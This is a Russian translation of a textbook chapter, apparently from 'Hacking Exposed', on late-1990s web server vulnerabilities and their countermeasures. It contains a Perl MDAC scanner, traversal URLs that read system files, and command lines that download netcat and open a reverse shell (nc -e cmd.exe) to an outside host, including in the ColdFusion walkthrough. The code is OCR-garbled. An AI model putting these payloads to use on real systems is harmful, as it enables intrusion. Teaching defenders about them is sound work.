Глава 15. Уязвимость в Web



Глава 15. УЯЗВИМОСТЬ В WEB




1. Уязвимость в Web



Уязвимость в WEB


Тысячи компаний осознали, что всемирная паутина Web является мощным средством распространения информации, расширения торговли, улучшения качества обслуживания и поддержки постоянного контакта с заказчиками и клиентами. И хотя большинство организаций для защиты своих интересов и вложений предусмотрительно использует фильтрующие маршрутизаторы, брандмауэры и системы выявления вторжений, когда речь заходит об изъянах Web, многие из этих мер предосторожности могут оказаться бесполезными. Почему? Большинство из обсуждаемых в этой главе атак реализуется через порты Web (80, 81, 443, 8000, 8001, 8080 и т.д.). Хотя их не так много, обычно они открывают доступ в сегмент сети, доступный из Internet. Некоторые читатели, дочитавшие главу до конца, удивятся, узнав, каким грозным орудием может оказаться Web-броузер в руках взломщика.
Конечно же, в некоторых случаях для уменьшения риска можно предпринять определенные действия, но большинство брешей в системе зашиты можно закрыть лишь с помощью качественного программирования, соблюдения строгой логики программ и управления потоками данных. Все эти меры должны сопровождаться ежедневным мониторингом систем, что обычно требует огромных усилий и скрупулезности. Как всегда, по возможности будут предлагаться контрмеры, которые следует предпринять для предотвращения каждой из описанных атак. Сначала речь пойдет о самых простых методах, а затем и о более сложных.


2. Воровство в Web



Воровство в Web


В главе 1 описан предварительный сбор данных, позволяющий получить максимально полную информацию об отдельном узле или обо всей сети в целом. Воровство в Web преследует практически ту же цель. В поисках информации взломщики вручную просматривают Web-страницы, стараясь найти недостатки в коде, зацепки в комментариях и дизайне. В этом разделе приведено несколько способов такого сбора информации о Web-сервере. В число этих методов входит последовательный просмотр страниц вручную, применение сценариев автоматизации и коммерческих программ.

Последовательный просмотр страниц



Один из давно известных способов получения данных заключался в прохождении всего Web-узла вручную, просматривая в броузере исходный код каждой страницы. В документах HTML можно найти огромное количество информации, включая ценные комментарии, адресованные другим разработчикам, адреса электронной почты, номера телефонов, программы JavaScript и многое другое. Например, задав в броузере адрес какого-нибудь сервера и выбрав команду View^Page Source, можно увидеть исходный код HTML (рис. 15.1).



Рис. 15.1. Исходный код HTML может содержать много важной информации. Зачастую в нем содержится структура каталогов, номера телефонов, имена и адреса электронной почты разработчиков Web-страниц

Упрощай!



К крупным Web-узлам (содержащим более 30 страниц) большинство взломщиков применяют автоматизированный подход, используя специальные сценарии или утилиты. Сценарии можно писать на различных языках, однако авторы отдают предпочтение языку Perl. С помощью несложных программ на этом языке можно перемещаться по Web-серверу, осуществляя поиск определенных ключевых слов.
Для копирования данных такого типа разработано также несколько коммерческих программ как для системы UNIX, так и для NT. Наиболее популярной является утилита Teleport Pro для NT, разработанная компанией Tennyson Maxwell Information Systems (http://www.tenmax.com), диалоговое окно которой показано на рис. 15.2. Эта программа позволяет отобразить целый Web-узел на локальный компьютер для дальнейшего ознакомления.
Для более подробного анализа файлов, удовлетворяющих критерию поиска, можно загрузить их локально. Например, если нужно найти Web-страницы, которые содержат определенные ключевые слова (пусть даже в исходном коде HTML), такие как email, contact, user*, pass*, updated и так далее, то это можно осуществить с помощью утилиты Teleport Pro. При этом поиск по любому из этих слов можно вести только в файлах определенного типа, например *.htm. *.html, *.shtm, *.shtml, *.txt. '.cfm и т.д. На следующем рисунке показано, как в программе Teleport Pro задать тип файлов, в которых следует осуществлять поиск.



Рис. 15.2. Программа Tclepon для системы NT

Эта программа позволяет задавать также слова, которые необходимо найти.
Как только нужные Web-страницы будут скопированы на локальный компьютер, взломщик сможет приступить к их исследованию. При этом он будет изучать каждую страницу HTML, каждый графический файл, панель управления и встроенные сценарии, стараясь разобраться с архитектурой исследуемого Web-узла. Эти сведения впоследствии могут оказаться очень полезными.

Контрмеры против воровства в Web



1. Регулярно анализируйте содержимое журналов регистрации и следите за повышением количества запросов GET, поступающих из одного и того же источника.
2. Используйте сценарий garbage.cgi, выдающий нескончаемый поток случайных данных в том случае, если какая-нибудь автоматическая программа начнет исследование узла и будет запускать сценарии CGI. Конечно, с помощью утилиты Teleport Pro эту проблему можно обойти, но взломщикам по крайней мере придется хорошо потрудиться.


1.gif

Изображение: 

2.gif

Изображение: 

3. Поиск известных изъянов



Поиск известных изъянов


Как всегда, особое внимание следует уделять очевидным брешам в системе защиты. Это необходимо в основном потому, что и хакеры обращают на них внимание в первую очередь. Несколько разрушительных изъянов Web существует до сих пор, хотя о них стало широко известно еще несколько лет назад. Отличительной особенностью атак этого типа является то, что многие из них легко обнаружить.

Сценарии автоматизации, применяемые новичками



В данный момент как никогда уместна фраза "Пусть друзья будут рядом, а враги — еще ближе". Используемые в основном начинающими взломщиками, сканирующие сценарии (чаще всего написанные известными хакерами) зачастую могут помочь в обнаружении некоторых известных изъянов. Многие средства поиска таких брешей можно найти на Web-узле компании Technotronic (www.technotronic.com).

Phfscan.c



Изъян PHF (более подробно описанный ниже) был одной из первых применяемых для взлома брешей в сценариях Web-серверов. Этот изъян позволяет взломщику локально запускать любую команду, как если бы он был пользователем Web-сервера. Часто это приводит к тому, что файл паролей /etc/passwd оказывается загруженным на компьютер взломщика. В выявлении такого изъяна как администратору, так и хакеру, может помочь несколько программ и сценариев. Программа pfhscan.c является одной из наиболее популярных. Перед использованием ее нужно откомпилировать (gcc phfscan.c -о phfscan), подготовить список узлов, которые нужно просканировать (для создания такого списка подойдет утилита gping), назвать файл со сгенерированным списком host.phf и поместить его в один каталог с программой. После запуска двоичного файла (phfscan) программа начнет выдавать предупреждения о найденных уязвимых серверах.

cgiscan.c



cgiscan — это удобная небольшая утилита, созданная в 1998 году Бронком Бастером (Bronc Buster). Она предназначена для сканирования узлов и поиска среди них тех, которые подвержены старым изъянам, таким как PHF, count, cgi, test-cgi, PHP, handler, webdist.cgi, nph-test-cgi и многих других. Программа осуществляет поиск уязвимых сценариев в тех каталогах, где они обычно находятся, и пытается ими воспользоваться. Результат работы утилиты выглядит примерно следующим образом.

[root@funbox-b ch!4]# cgiscan www.somedomain.com
New web server hole and info scanner for
elite kode kiddies coded by Bronc
Buster of LcF - :iov 1998 updated Jan 1999
Getting HTTP version
Version:
HTTP/1.1 200 OK
Date: Fri, 16 Jul 1999 05:20:25 GMT
Server: Apache/1.3.6 (UNIX) secured_by_ Raveri/1. 4 . 1
Last-Modified: Thu, 24 Jun 1999 22:25:11 GMT
ETag: "17d007-2a9c-3772bC47"
Accept-Ranges: bytes
Content-Length: 10908
Connection: close
Content-Type: text/html
Searching for phf :.. No:.E'our.rf..
Searching for Count.cgi :..Not Found.
Searching for test-cgi :..Nc:Found..
Searching for php.cgi :..Nov.Found.
Searching for handler :..NotFound..
Searching for webgais :..Not Found..
Searching for websendmail:..Not Found..
Searching for webdist.cgi:..Not Found..
Searching for faxsurvey:..Not Found..
Searching for htmlscript:..Not Found..
Searching for pfdisplay:..Not Found..
Searching for perl.exe:..Not Found..
Searching for wwwboard.pl:. Not Found..
Searching for www-sql:..Not Found..
Searching for service.pwd:..Not Found..
Searching for users.pwd:..Not Found..
Searching for aglimpse:..Not Found..
Searching for man.sh :..Not Found..
Searching for view-source:..Not Found..
Searching for campas :..Not Found..
Searching for nph-test-cgi :..Not Found..
[gH] - aka gLoBaL hElL - are lame kode kiddies

В Internet можно найти десятки сценариев, предназначенных для сканирования. На узле http://www.hackingexposed.com/ содержатся ссылки на самые популярные Web-узлы, на которых содержится самая разнообразная информация по вопросам безопасности.


4. Приложения автоматизации



Приложения автоматизации


В Internet можно найти несколько приложений, предназначенных для автоматизированного поиска хорошо известных изъянов или тех из них, которые становятся доступными при использовании в процессе установки программного обеспечения параметров, предлагаемых по умолчанию. В отличие от сценариев, эти средства используются вручную. Это не позволяет использовать их в больших корпоративных сетях, зато они успешно применяются в малых сетях и на серверах, на которые нужно обратить более пристальное внимание.

Grinder



Программа Grinder версии 1.1 (http://hackersclub.com/km/files/hfiles/ rhino9/grinderll .zip), поддерживает интерфейс Win32 и позволяет сканировать IP-адреса из заданного диапазона. Результатом ее работы является отчет, в котором содержится название и версия Web-сервера. Это ничем не отличается от применения обычной команды HEAD (например, утилиты netcat), однако в процессе сканирования программой Grinder создается несколько параллельных сокетов, поэтому она работает намного быстрее. На рис. 15.3 показано, как Grinder выполняет сканирование и определяет версии Web-серверов.
Другим средством определения версий Web-серверов являются сканирующие сценарии для системы UNIX. Если в файле портов указан порт 80, то команда HEAD будет передана на Web-сервер по умолчанию, в результате чего в ответном сообщении будет содержаться название и номер версии запущенного программного обеспечения. Эта информация будет помещена в файл <UMX>/<UMX>.http.d\mip. Для того чтобы начать процесс сканирования, можно воспользоваться следующим синтаксисом. ./unixscan.pl hosts.txt ports.txt test -p -z -г -v



Рис. 15.3. Программа Grinder может оказаться полезной при одновременном поиске многих Web-серверов и определении версий применяемого программного обеспечения

После завершения работы сканера будет создан файл, содержащий отчет о версии Web-сервера.

172.29.11.82 port 80: Server: Microsoft-IIS/4.0
172.29.11.83 port 80: Server: Microsoft-IIS/3.0
172.29.11.84 port 80: Server: Microsoft-IIS/4.0

SiteScan



Программа' SiteScan, написанная Хамелеоном (Chameleon) из групп Rhino9 и InterCore, позволяет выполнить более глубокое исследование, чем Grinder, проверяя наличие таких определенных изъянов, как PHF, PHP, finger, test.cgi и другие. Это графическое приложение Win32 за один раз может исследовать только один IP-адрес, поэтому ее нельзя включать в сценарии. Придется каждый раз вручную вводить IP-адрес и просматривать полученный результат.


5.gif

Изображение: 

5. Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода



Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода


Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере.

Изъян MDAC RDS IIS 4.0



Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере.
Первопричина проблемы заключается в объекте DataFactory службы RDS. По умолчанию он позволяет передавать удаленные команды серверу I1S. В этом случае команды запускаются с правами эффективного пользователя этой службы, которым обычно является пользователь SYSTEM (внутренний пользователь, обладающий привилегиями администратора). Это означает, что взломщик может получить удаленный доступ с правами администратора к любому серверу в мире', у которого имеется такой изъян.
Для проверки этой концепции компания Rain.forest.puppy разработала свой сценарий на языке Perl (его можно загрузить с Web-узла компании Security Focus http://vww.securityfocus.com), посылающий запрос RDS в базу данных, которая служит в качестве образца и называется btcustmr.mdb. Целью запроса является запуск на сервере команды, вводимой пользователем.
Поиск уязвимых серверов в сети представляется простой задачей. Посмотрим, как можно обнаружить компоненты MDAC службы RDS. С помощью утилиты netcat и языка Perl можно просканировать подсети в поисках признаков уязвимого сервера — наличия динамически подключаемой библиотеки msadcs.dll. Если в результате обработки HTML-запроса будет получена строка appiication/x-varg, значит, высока вероятность того (хотя и не на 100%), что данная система уязвима. Ниже для примера приведен код на языке Perl, с помощью которого можно обнаружить данный изъян.

#!/usr/bin/perl
if ($|ARGV < 0) {
print "Ошибка в синтаксиме - попробуйте eщe pas.";
print ": mdac.pl 10.1.2.3-255";}
doit($ARGV[0]); foreach $item (@hosts)
{ portscan($item); }
close OUTFILE;
sub doit { $line = $_[0];
if ($line!=/#/) {
if ($line=~/-/) {
Stmp = split/-/, $line;
Ship = split//, $tmp[0];
@eip = split//, $tmp[lj;
} else
{
@bip = split//, $line;
@eip = split//, $line; }
$al = $bip[0];
$bl = $bip[l];
$cl = $bip[2];
$dl = $bip[3];
Snum = @eip; if ($num==l)
{ $a2 = $bip[0]
$b2 = $bip[l]
$c2 = $bip[2]
$d2 = $eip[0]
} elsif
($num==2)
{$a2 = $bip[0]
$b2 = $bip[l]
$c2 = $eip[0]
$d2 = $eip[l] }
elsif
($num==3)
{
$a2 = $bip[0]
$b2 = $eip[0]
$c2 = $eip[l]
$d2 = $eip[2]
} elsif
($num== )
{
$a2 = $eip[0]
$b2 '-= $eip[l]
$c2 = $eip[2]
$d2 = $eip[3] }
# Ha базк IP-адреса подсети (класс A, B, C)задаем
# корректные значения переменных.
check_end(); $aend=$a2;
# Создание массива.
while
($al < $aend)
( while ($bl < $bend)
{ while ($cl < $cend)
{ while ($dl < Sdend) {
push (@hosts, "$al.$bl.$cl.$dl">;
$dl+=l;
check_end();
}
$cl+=l;
$dl=0;
}
$bl+=l;
$cl=0;
}
$al+=l; $bl=0; } } }
sub portscan ( my $target = $_[0];
print "Сканируется порт $target."; local $/;
open(SCAN,"nc -vzn -w 2 $target 80 2»
&1I");
# Порт открыт
$result = <SCAN>;
if ($result=~/open/)
{
print "\tПорт 80 Ha $target открыт . \n";
print OUTFILE "порт 80 открыт\n";
open (HTTP, ">http.tmp");
print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";
close HTTP;
open(SCAN2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");
$result2 = <SCAN2>;
if (Sresult2=~/Microsoft-IIS4.07)
{
if ($result2=~/x-varg/){
print "
$target уязвима против атаки MDAC.";
print OUTFILE "$target
может быть уязвима против атаки &MDAC.";
}
}
close SCAN;
}
}
sub check_end
{
if (($al==$a2) &S ($bl==$b2) &
s ($cl==$c2)) {
$dend=$d2; }
else {
$dend=255; }
if (($al==$a2) &&
($bl==$b2)) {
$cend=$c2; }
else {
$cend=255; }
if ($al= =$a2)
{
$bend=$b2; - }
else {
$bend=255;
}
}

При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес

"Анатомия" атаки



Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.

C:\>perl mdac_exploit.pl -h 192.168.50.11
-- RDS exploit by rain forest puppy/ADM/Wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!

Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд,

"cd SystemRoot £& echo $ftp_user>ftptmp
&& echo $ftp_pass»ftptmp
&& echo bin»ftptmp &&
echo get nc. exe»ftptmp
&£ echo bye»ftptmp &£
ftp -s:ftptmp $ftp_ip &&
del ftptmp &&
attrib -r nc.exe && nc
-e cmd.exe $my_ip $my_port"

При использовании TFTP аналогичные команды будут выглядеть следующим образом,

"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc -e cmd.exe $my_ip $my_port"

Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр.

Контрмеры: защита компонентов МDАС службы RDS



Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. 

Изъяны CGI



По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.

Сценарии PHF



Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.

Контрмеры: защита сценариев РНР


Предотвращение



Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется.

Обнаружение



Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно.

С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.

Изъяны CGI системы Irix



Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. 

Контрмеры против использования изъянов CGI систем Irix



Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html.

test-cgi



Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin).

http://192.168.51.101/cgi-bin/test-cgi?*

 В результате на экран будет выведено значение переменной окружения QUERY_STRING.

QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi
search.pl
test-cgi wwwcount.cgi

Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX.

Контрмеры против использования изъянов ССI



Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев.


6. Уязвимость активных страниц сервера



Уязвимость активных страниц сервера



Активные страницы сервера (ASP — Active Server Pages) представляют собой разработку компании Microsoft, аналогичную сценариям Perl и интерфейсу CG1 системы UNIX. Обычно написанный на языке VBScript, код ASP выполняет многое из того, что необходимо для поддержки состояния, обеспечения доступа к серверной части базы данных и отображения кода HTML в окне броузера. Одной из приятных особенностей страниц ASP является то, что они могут "на лету" генерировать страницы HTML. Другой малоприятной особенностью являются многочисленные изъяны страниц ASP, позволяющие взломщику просматривать их исходный код. Почему это плохо? Во-первых, потому, что взломщик, изучая логику программы, может обнаружить и другие изъяны. Во-вторых, он может найти в этих файлах такую важную информацию, как база данных имен и паролей пользователей.

Ошибка ASP, связанная с интерпретацией точки



Один из членов группы LOpht в 1997 году обнаружил ошибку, которая возникает, если одну или несколько точек поставить после адреса URL страницы ASP сервера IIS 3.0. При этом можно просмотреть исходный код ASP и проанализировать логику этой программы. Еще важнее то, что в данном файле можно найти такую важную информацию, как имена и пароли пользователей. Чтобы воспользоваться этой возможностью, нужно просто добавить точку после URL.

Контрмеры



Хорошая новость заключается в том, что компания Microsoft выпустила модуль обновления для сервера IIS 3.0. 
Однако имеется и плохая новость: выпушенный модуль обновления породил другой изъян. Замена в имени файла example, asp точки на ее шестнадцатеричное представление (0х2е) по-прежнему позволяет взломщику загрузить на свой компьютер файл с исходным кодом ASP. 

Уязвимость ASP, связанная с альтернативными потоками данных



Впервые об этом изъяне в бюллетене Bugtraq сообщил Пауль Эштон (Paul Ashton). В данном случае также можно загрузить исходный код страниц ASP. Этой возможностью легко воспользоваться, поэтому она стала довольно популярна среди новичков. Просто задайте URL в следующем формате.
http://192.168.51.101/scripts/file.asp::$DATA
Если метод сработал, броузер Netscape попросит указать место, в котором нужно сохранить файл. Броузер Internet Explorer по умолчанию покажет исходный файл в диалоговом окне. После этого его можно сохранить и просматривать в любом текстовом редакторе. 

Контрмеры



Для усиления защиты ограничьте доступ ко всем исходным файлам, отменив право на чтение для группы Everyone. В конце концов, для исходного код вполне достаточно разрешения на выполнение.

Изъяны showcode. asp и codebrws. asp



Рассмотрим еще один изъян, имеющий отношение к IIS 4.0, который связан с возможностью просмотра исходного кода ASP. Его отличие от рассмотренных выше ошибок заключается в том. что сам по себе этот изъян не является ошибкой, а представляет собой пример плохого программирования. Если в процессе установки сервера IIS 4.0 будут скопированы также файлы с примерами исходного кода ASP, то несколько плохо написанных файлов позволят взломщику загрузить на свой компьютер другие файлы. Проблема заключается в неспособности сценариев обрабатывать символы .., содержащиеся в пути к файлу. В следующем примере использование файла showcode.asp приведет к отображению файла boot.ini взламываемой системы (если доступ ограничен незначительно, то просмотреть можно любой файл).

http: //192.168. 51.101/msadc/Samples/
SELECTOR/showcode. asp?source=/../../../../../boot.ini

Точно так же, посредством файла codebrws.asp можно просмотреть любой файл, который находится на локальном диске. Как упоминалось в главе 13, можно попытаться найти файлы с расширением GIF программы pcAnywhere.

http://192.168.51.101/iissamples/exair/howitworks/
codebrws.asp?source=/../../../../../winnt/repair/setup.log

Изъяны showcode.asp и codebrws.asp невозможно использовать для корректной загрузки с целевого узла двоичных файлов. Причина заключается в том, что сценарий ASP обычно преобразовывает файлы. Преобразование такого файла, как SAM._, приведет к его повреждению и сделает его непригодным для использования. Однако это не помешает умелому хакеру восстановить структуру файла SAM и воспользоваться полученной информацией.

Контрмеры против использования изъянов в файлах АSР



Рассмотренные выше проблемы можно решить, установив модуль обновления сервера IIS. Этот модуль, а также статью Q232449 из базы знаний компании Microsoft, можно найти по адресу ftp://ftp.microsoft.com/ bussys/IIS/iis-public/ fixes/usa/Viewcode-fix/.

Изъян webhits.dll



Ряд проблем, связанных с возможностью просмотра файлов, был выявлен группой CIS (Cerberus Information Security). Эти изъяны связаны с приложением ISAPI webhits.dll. Эта динамически подключаемая библиотека реализует механизм выделения информации в процессе функционирования MS Index Server. Однако ее наличие делает возможным взлом, при котором злоумышленник просматривает важные исходные коды ASP или другую информацию, содержащуюся на локальном диске. Первая из возможных атак начинается с использования существующего файла . HTW для просмотра исходного кода.
Вторая атака связана с передачей системе имени несуществующего файла. В качестве основы используется существующий файл и символы пробела (%20), число которых превышает 230, и которые расположены между именем реального файла (default.asp) и расширением . HTW. При этом информационные службы Internet игнорируют расширение (.HTW) и предоставляют в распоряжение взломщика любой файл системы:

http://192.168.51.101/default.asp%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%2С%20%20%20 %20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20% 20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%2С%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%2 0%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20 %20%20%20%20%20%20%20%
20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20% 20%20%
20%20%20%20%20%20
.htw?CiWebHitsFile=/../../../../../test.
txt&CiR estriction=none&CiHiliteType=Full

Третья .HTW-атака основана на использовании имени файла null.htw для помещения в окно броузера необработанного файла:

http://192.168.51.10I/null.htw?CiWebHitsFile=/../../../../../winnt/
repair/setup.log&CiRestriction=none&CiHiliteType=Full

Использование предыдущего адреса URL приведет к тому, что сервер IIS предоставит файл /winnt/repair/setup.log.

Контрмеры против использования изъянов библиотеки webhits.dll

Для предотвращения использования рассмотренных атак удалите приложения, связанные с файлами с расширением . HTW. Для этого откройте диалоговое окно с основными свойствами уязвимого сервера, а затем для службы WWW Service щелкните на кнопке Edit. Далее перейдите во вкладку Home Directory и щелкните на кнопке Configuration из группы Application Settings. При этом на экране появится следующее диалоговое окно.


Затем выделите строку, в которой указано приложение, связанное с файлами . HTW, и щелкните на кнопке Remove. После этого Web-сервер больше не будет обращаться к библиотеке webhits .dll, и, таким образом, этот изъян будет устранен.


Изъяны сервера ColdFusion



Специалистами группы LOpht было обнаружено несколько существенных изъянов в сервере приложений Cold Fusion, позволяющих осуществлять удаленный запуск команд на уязвимом Web-сервере. В процессе установки этого программного продукта вместе с ним копируются также примеры кода и интерактивная документация. Причиной обнаруженных изъянов послужили несколько примеров, взаимодействие которых не ограничивается только локальным узлом.
Первая из проблем связана с устанавливаемым по умолчанию файлом opnfile.cfm. Этот файл позволяет взломщику загрузить на Web-сервер любой файл. Другой файл, displayopenedfile.cfm, помещает этот файл в окно броузера. Кроме того, exprcalc.cfm анализирует загруженный файл и удаляет его (во всяком случае, он для этого предназначен). Используя только файл openfile.cfm, можно ввести систему в заблуждение, чтобы она не удаляла загруженный файл, а затем выполнить локально любую команду. Чтобы воспользоваться этой возможностью, выполните следующие действия.
1. Создайте файл, который при загрузке на удаленный Web-сервер приведет к выполнению локальной команды. Например, можно воспользоваться следующим сценарием Perl с именем test.pl.

systemC'tftp -i 192.168.51.100 GET nc.exe");
system("nc-e cmd.exe 192.168.51.100 3000");

Этот метод сработает в том случае, если на сервере Cold Fusion установлен интерпретатор языка Perl.
2. Задайте в броузере следующий адрес URL.

http://192.168.51.101/cfdocs/expeval/openfile.cfm

3. Укажите в поле Open File путь к созданному файлу и щелкните на кнопке ОК. 4. В адресе URL замените строку D:\INETPUB\WWWROOT\cfdocs\expeval\test.pl на полное имя файла exprcalc.cfm (с указанием пути), предназначенного для удаления загруженных в систему файлов. После внесения изменений URL должен выглядеть следующим образом.

http://192.168.51.101/cfdoce/expeval/ExprCalc.cfra?RequestTimeout=
2000&OpenFilePath-D:\lNETPOB\WWWROOT\cfdocs\expeval\exprcalc.cfm

5. В окне должно появиться содержимое файла exprcalc. cfm и он должен быть удален из системы. После этого все файлы, загруженные с помощью openfile.cfm, будут оставаться в удаленной системе.
6. Проделав еще раз описанные действия, загрузите повторно файл test.pl на удаленную систему. После этого данный файл (test.pl) будет ожидать вызова.
7. С помощью следующего URL запустите файл test.pl. http://192.168.51.101/cfdocs/expeval/test.pl
8. Если перед этим были запущены сервер TFTP и утилита netcat, то должно появиться следующее приглашение (т.е. командная строка, позволяющая выполнять команды с правами администратора). 

С:\>пс -1 -р 3000
Microsoft(R) Windows NT(TM)
(С) Copyright 1985-1996 Microsoft Corp.
D:\INETPUB\WWWROOT\cfdocs>

Контрмеры против использования изъянов сервера Cold Fusion



Для того чтобы предотвратить возможность использования изъянов Cold Fusion, можно воспользоваться двумя способами:



8.gif

Изображение: 

9.gif

Изображение: 

7. Переполнение буфера



Переполнение буфера


Многие годы проблемы, связанные с переполнением буфера, были серьезным недостатком системы защиты системы UNIX. После появления в 1995 году статьи How to write buffer overflow  в мире UNIX многое переменилось. В классической статье Алефа Вана (Aleph One) Smashing the stack for fun and profit, впервые опубликованной в журнале Phrack Magazine в 1996 году, подробно описано, насколько просто добиться переполнения буфера. 
Для тех, кто незнаком с этой концепцией постараемся ее четко сформулировать. Переполнение буфера позволяет взломщику поместить в переменную значение, которое больше, чем максимально допустимое. После этого он сможет выполнить произвольный код с привилегиями текущего пользователя, обычно root. В большинстве случаев проблема заключается в плохо написанном коде. Примером такого кода может быть программа, помещающая данные в буфер и не проверяющая их размер. Наиболее популярная команда, которую можно удаленно выполнить в системе Solaris, выглядит примерно следующим образом: /usr/openwin/bin/xterm -display <your_IP_address>: 0 . 0 &.
Рассматриваемые ниже изъяны позволят получить полное представление о методах, которые взломщики используют для удаленного переполнения буфера. Имея такую информацию, вы сможете улучшить качество и надежность своих программ.

Изъян РНР



В сценариях РНР имеется два (а возможно и больше) изъянов. Один из них является обычной проблемой отсутствия проверки ввода, ставшей бедствием для многих разрабатываемых ранее сценариев. С использованием этого изъяна взломщики могли просмотреть любой файл целевой системы. 

Контрмеры против использования изъяновРНР



Обеспечить защиту можно двумя способами:

